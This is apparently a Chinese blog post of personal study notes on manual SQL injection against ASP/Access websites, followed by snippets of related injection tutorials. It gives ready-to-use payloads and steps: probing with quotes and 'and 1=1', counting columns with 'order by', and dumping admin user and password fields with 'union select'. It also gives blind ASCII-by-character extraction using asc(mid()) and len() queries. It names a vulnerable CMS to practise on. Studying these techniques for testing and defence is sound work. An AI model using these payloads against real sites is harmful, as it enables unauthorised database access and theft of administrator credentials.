1. 程式人生 > >SQL手工注入的學習總結

SQL手工注入的學習總結

sql手工注入有兩種,第一種是union聯合查詢,第二種是Ascii逐字解碼法

union聯合查詢語句如下:

首先判斷一個網站有沒有注入點的語句是  加單引號 ' 或 and 1=1 和and 1=2
and 1=1 網站返回正常,and 1=2 網站返回錯誤,證明有可能存在注入點
order by語句來查詢資料庫中存在多少資料表,如果order by 11返回正常 12 返回錯誤 那麼資料表就是11
得到資料表的個數後,接著來用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from 表名 (如admin) 如果

返回的網站頁面是一個一個的數字如下圖

那麼就說明存在admin這個表,如果出現錯誤就說明不存在admin表(也有可能是你語句輸錯了 認真點哦),就需要換表名了,說是猜,就是猜,慢慢猜了~,接著 看到了圖中我用紅色矩形框,框住的數字,它所對應的就是 3 4 8 10 在1,2,3,4,5,6,7,8,9,10,11 裡面把  3  4 8 10 替換成admin表裡儲存網站管理員賬號和密碼的欄位,如user  ,pwd  替換後就變成了 這樣的 語句  and 1=2 union select 1,2,3,4,5,6,7,user,9,pwd,11 from admin 如下圖所示

之前的8 和10 都被替換成了admin admin 是因為這個網站後臺的使用者名稱和密碼預設的就是admin,這樣管理員的帳戶和密碼就被我們爆了出來。 有時候密碼會是md5加密的需要去一些md5的網站解密,也有時候是雷池加密,雷池加密的很像明文,如果你登入一個後臺半天都上不去,說明這個密碼就有可能是雷池加密的哦

還有說一句,手工注入之前要先找到後臺,不然很累很累的弄完了,發現找不到後臺。會很失望的!

union聯合查詢的方法就介紹到這 下面介紹一種比較複雜的sql手工注入

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第一步-猜表名

and (select count(*) from 表名) >=0

栗子 and (select count(*) from admin) >=0 網頁返回正常 說明存在admin這個表,返回不正常,你懂的~接著猜

第二步-猜欄位

and (select count(欄位名) from 上行語句猜到的表名)>=0

栗子 and (select count (user) from admin ) >=0 網頁返回正常  說明存在user這個欄位,返回不正常 ~~~~~~接著猜

第三步-猜欄位的位數

and (select top 1 len (欄位) from 表名) >0

栗子 and (select top 1 len (user) from admin) >4 返回正常 >5 返回錯誤,想想 一個數字大於4小於5是什麼?沒錯就是5! 比如栗子中的這個網站,user欄位的內容就是admin

數一數是不是5位呢?

第四步 猜Ascii碼的欄位值(不懂Ascii碼的可以百度,瞭解一些就可以了)

and (select top 1 asc (mid (欄位,位數,1)) from 表名) >ascii(1~128)

栗子 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回錯誤 那麼這個user表裡面的第一個ascii碼就是97了 ascii碼對應的就是字母a

user欄位裡面的第一位已經被猜出來了 是a 對應的ascii碼是97

接著猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回錯誤 ascii碼為100

100對應的是字母d

接著猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回錯誤 ascii碼為109

109對應的是字母m

接著猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回錯誤 ascii碼是105

105對應的是字母i

接著猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回錯誤 ascii碼為110

110對應的是字母n

---------------------------------

Ascii:97 100 109 105 110

對應的字母:  a     d       m      i     n

------------------------------------------------

user欄位猜完了開始猜pwd欄位也就是網站後臺的密碼

and (select top 1 asc (mid (pwd,1,1)) from admn) >ascii(1——128)

和猜user欄位裡的內容是一樣的,把欄位替換成pwd ,然後在猜的時候替換要猜解的位數,和ascii碼,關於ascii碼,猜的時候是有一些技巧的,我也不太明白,是憑感覺的縮小猜解的範圍.

以上就是我讀sql手工注入語句的學習筆記,和經驗

我在此文章中使用的網站源程式是:

三峽新聞線上系統V1.1 附上百度雲盤連結:http://pan.baidu.com/s/1qWNwFvA

asp環境是小旋風asp伺服器 : 這個可以百度下載,百度雲分享不了說有病毒。。。

瀏覽器是火狐瀏覽器,裡面的有個外掛叫做hackbar很不錯,特別是用來手工注入的時候,大家有的人在瀏覽器的url裡面直接注入 url裡會產生一堆轉義符號 影響了注入的效率

然後關於sql注入的知識,如果我寫的有不足的,和不好的,歡迎大家來吐槽。O(∩_∩)O 我也是一個新手,也在不斷的努力。技術的高低只是時間的問題、沒有什麼可以鄙視的!加油!

相關推薦

SQL手工注入學習總結

sql手工注入有兩種,第一種是union聯合查詢,第二種是Ascii逐字解碼法 union聯合查詢語句如下: 首先判斷一個網站有沒有注入點的語句是  加單引號 ' 或 and 1=1 和and 1=2 and 1=1 網站返回正常,and 1=2 網站返回錯誤,證明有可能存

SQL註入學習總結(八):其他SQL註入的異或註入

href http 發現 .sql 異或 ascii 3.2 運算 證明 其他類型註入的詳解(5) 5.sql異或註入 背景當我們在嘗試SQL註入時,發現union,and被完全過濾掉了,就可以考慮使用異或註入 知識點 異或運算規則: 1^1=0 0^0=0 0^1=1 1

PHP+MySQL手工注入語句大全 MySQL手工注入語句總結

暴欄位長度 Order by num/* 匹配欄位 and 1=1 union select 1,2,3,4,5…….n/* 暴欄位位置 and 1=2 union select 1,2,3,4,5…..n/* 利用內建函式暴資料庫資訊 version() databas

DLL注入學習總結

dll注入 所謂DLL 注入就是將一個DLL放進某個程序的地址空間裡,讓它成為那個程序的一部分。要實現DLL注入,首先需要開啟目標程序。 中文名 dll注入 外文名 hRemoteProcess 意    義 將一個DLL放進程序的地址空間裡 方    法

sql手工注入

猜是否存在注入: ' ' or 1=1# ') or 1=1# " 猜這句sql語句的欄位數目與內容的顯示: ') order by 10# 二分法縮小,知道沒有報錯 ') union select 1,2,3,4# 構造的內容: ') union select 1,x,3,x # questions in

SQL 本章學習總結

分頁的SQL語句 DECLARE @PAGEINDEX INT --定義變數索引頁數 DECLARE @PAGESIZE INT--定義變數當前的頁數 --在編寫SQL的語句時,如果有查詢先查詢後分頁 SELECT * FROM ( SELECT ROW_

SQL手工注入探索旅程(三)

SQL手工注入探索旅程(一) SQL手工注入探索旅程(一) 當無權讀取information_schema庫或者被拒絕union,order by這些語句 通過試驗去猜測資料庫資訊進而總結歸納出結果 設定dvwa安全等級為low | 我們在輸入框中輸入 一下

SQL Server 入門學習總結---基礎篇

首先相信很多人在開始準備學習的時候,肯定對資料庫的基本學習路線是蒙的,當然我也是這樣過來的。我也是在後來把基礎知識學完之後,才看到一張圖,很棒的學習路線圖。先把這個分享給大家: 對於這張圖,相信不用

SQL手工注入基礎詳解----MSSQL篇

作者:DragonEgg資訊來源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/     一:注入點的判斷     當我們在URL後特殊字元或語句,使其報錯時,若在返回的資訊中有類似“[Microsoft][OD

SQL手工注入大全

比方說在查詢id是50的資料時,如果使用者傳近來的引數是50 and 1=1,如果沒有設定過濾的話,可以直接查出來,SQL 注入一般在ASP程式中遇到最多,  看看下面的  1.判斷是否有注入  ;and 1=1  ;and 1=2  2.初步判斷是否是mssql  ;and user>0  3.判

SQL手工注入---表的猜解

手工注入過程 找到注入點→表名→列名→列長度→列值 猜解表名 http://www.xxx.com/index.asp?id=1 and exists(select * from 猜測的表名) exi

墨者學院-SQL手工注入漏洞測試(Access資料庫)

2.利用and 1=1 =1正常,and 1=2 出現報錯說明有注入點。 3.猜測存在的表,and exists (select * from admin),我這裡憑藉著經驗猜出來是admin表,如果不是的話可以繼續猜,格式為:and exists (se

SQL手工注入漏洞測試(Sql Server資料庫)

手工SQL注入過程,資料庫執行的語句,是頁面提交至伺服器應用程式,應用程式獲取id的值,然後把值拼接到查詢語句中,在到資料庫中查詢,通過程式解析後,把結果返回在頁面上,(使用時請將mozhe.cn替換成對應的靶場地址)。 開啟靶場環境: 第1步: 頁面提交:ht

SQL手工注入漏洞測試(MongoDB資料庫)

# 檢視是否有注入點 http://ip/new_list.php?id=1' # 想辦法閉合語句,檢視所有集合 # db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串。並且mongodb函式區分大小寫 http://ip/new_li

asp+access sql手工注入步驟

理論介紹 資料庫結構 access資料庫  表      列          單元資料 例項 網站域名:http://127.0.0.1:81/0/0/ 檔案目錄:Production

一次簡單的SQL手工注入

1. 首先要了解SQL注入的原理:   SQL Injection:就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。   具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在W

存在於檔名中的SQL手工注入

SQL注入已經在前一章為大家介紹了個大概,本文將講述我遇到的本以為是檔案上傳漏洞,卻是以檔名觸發的SQL注入! 本文分享的內容同樣來自於一道CTF題! 1. 直接進入正題       (1) 初步探測        先看一下主頁面(題目需要

SQL手工注入基礎篇

0.前言 本篇博文是對SQL手工注入進行基礎知識的講解,更多進階知識請參考進階篇(咕咕),文中有誤之處,還請各位師傅指出來。學習本篇之前,請先確保以及掌握了以下知識: 基本的SQL語句 HTTP的GET、POST請求,URL編碼 文中所有例題選自sqlilab,可以先配置好一起邊看邊操作。因為

SQL手工注入進階篇

0.前言   上一篇我們介紹了SQL手工注入的流程以及步驟,但在實際的安全問題以及CTF題目中,查詢語句多種多樣,而且是肯定會對使用者的輸入進行一個安全過濾的,而這些過濾並不一定是百分百安全的,如何利用一些技巧繞過一些安全過濾,這就是我們這一篇要介紹的事情。   如果你還不熟悉SQL注入的流程以及步驟,請

sql注入----手工注入總結

暴欄位長度 Order by num/* 匹配欄位 and 1=1 union select 1,2,3,4,5…….n/* 暴欄位位置 and 1=2 union select 1,2,3,4,5…..n/*   利用內建函式暴資料庫資訊 version(